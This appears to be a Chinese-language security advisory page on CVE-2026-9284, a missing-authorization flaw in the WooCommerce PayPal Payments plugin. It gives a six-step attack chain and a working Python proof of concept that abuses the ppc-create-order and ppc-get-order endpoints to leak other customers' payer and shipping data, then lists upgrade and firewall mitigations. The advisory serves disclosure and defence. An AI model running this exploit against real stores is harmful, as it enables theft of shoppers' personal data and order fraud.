IPBUF安全漏洞报告
English
CVE-2026-9284 CVSS 8.2 高危

CVE-2026-9284 WooCommerce PayPal Payments插件未授权订单操纵漏洞

披露日期: 2026-05-23

漏洞信息

漏洞编号
CVE-2026-9284
漏洞类型
访问控制缺失/敏感信息泄露
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WooCommerce PayPal Payments WordPress插件

相关标签

CVE-2026-9284WordPress插件漏洞访问控制缺失信息泄露WooCommercePayPal Payments未授权访问高危漏洞

漏洞概述

CVE-2026-9284是WooCommerce PayPal Payments插件中的一个严重安全漏洞,存在于所有4.0.1及以前版本。该漏洞源于两个WC-AJAX端点(ppc-create-order和ppc-get-order)缺少适当的授权检查。攻击者可以在无需认证的情况下,利用ppc-create-order端点为任意WooCommerce订单创建PayPal订单并写入PayPal元数据,同时通过ppc-get-order端点获取任意PayPal订单的完整详情。这使得未认证攻击者能够操纵其他客户的订单支付流程,并窃取敏感的付款人信息、收货地址等订单数据。该漏洞CVSS评分8.2,具有高机密性影响,被评定为高危漏洞。

技术细节

漏洞主要存在于两个关键的WC-AJAX端点。首先,ppc-create-order端点(CreateOrderEndpoint.php)在处理pay-now上下文时,直接接受攻击者提供的任意WooCommerce订单ID,未进行订单所有权验证,允许攻击者将PayPal订单与任意WC订单关联并写入PayPal元数据。其次,ppc-get-order端点(GetOrderEndpoint.php)在返回PayPal订单详情时,未将订单数据绑定到当前请求者的会话或验证请求者权限,导致任何请求者都能通过提供有效的PayPal订单ID获取完整的订单信息,包括付款人详细信息、收货地址、支付金额等敏感数据。攻击者通过组合这两个端点,可以在不认证的情况下创建虚假的PayPal订单记录并窃取合法用户的订单数据。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站使用的WooCommerce PayPal Payments插件版本(<=4.0.1)
STEP 2
步骤2
攻击者向ppc-create-order端点发送请求,在pay-now上下文中提交任意目标订单ID(如123),创建虚假的PayPal订单
STEP 3
步骤3
攻击者获取到新创建的PayPal订单ID,该订单被错误地与目标WC订单关联
STEP 4
步骤4
攻击者使用获取的PayPal订单ID向ppc-get-order端点发送请求,无需任何认证或会话绑定
STEP 5
步骤5
ppc-get-order端点返回完整的PayPal订单详情,包括受害者的付款人信息、收货地址、联系方式等敏感数据
STEP 6
步骤6
攻击者利用窃取的订单数据可用于后续欺诈活动,如修改收货地址进行货物拦截或利用付款人信息进行身份冒充

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json TARGET_URL = "https://vulnerable-site.com/wp-admin/admin-ajax.php" PAYLOAD_ORDER_ID = "123" # Target victim's WooCommerce order ID # Step 1: Create PayPal order for victim's WC order (unauthorized) create_order_data = { "action": "ppc-create-order", "ppc-order-context": "pay-now", "wc-order-id": PAYLOAD_ORDER_ID } response1 = requests.post(TARGET_URL, data=create_order_data) if response1.status_code == 200: order_result = response1.json() paypal_order_id = order_result.get('id') print(f"[+] Created PayPal Order: {paypal_order_id}") # Step 2: Retrieve PayPal order details (unauthorized) get_order_data = { "action": "ppc-get-order", "order-id": paypal_order_id } response2 = requests.post(TARGET_URL, data=get_order_data) if response2.status_code == 200: order_details = response2.json() print(f"[+] Leaked Order Details: {json.dumps(order_details, indent=2)}") else: print(f"[-] Failed to create order: {response1.text}")

影响范围

WooCommerce PayPal Payments <= 4.0.1

防御指南

临时缓解措施
立即将WooCommerce PayPal Payments插件升级到4.0.2或更高版本。如果无法立即升级,可暂时禁用PayPal Payments功能,或使用Web应用防火墙(WAF)规则阻止对ppc-create-order和ppc-get-order端点的异常请求。同时监控服务器日志以检测潜在的漏洞利用迹象。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表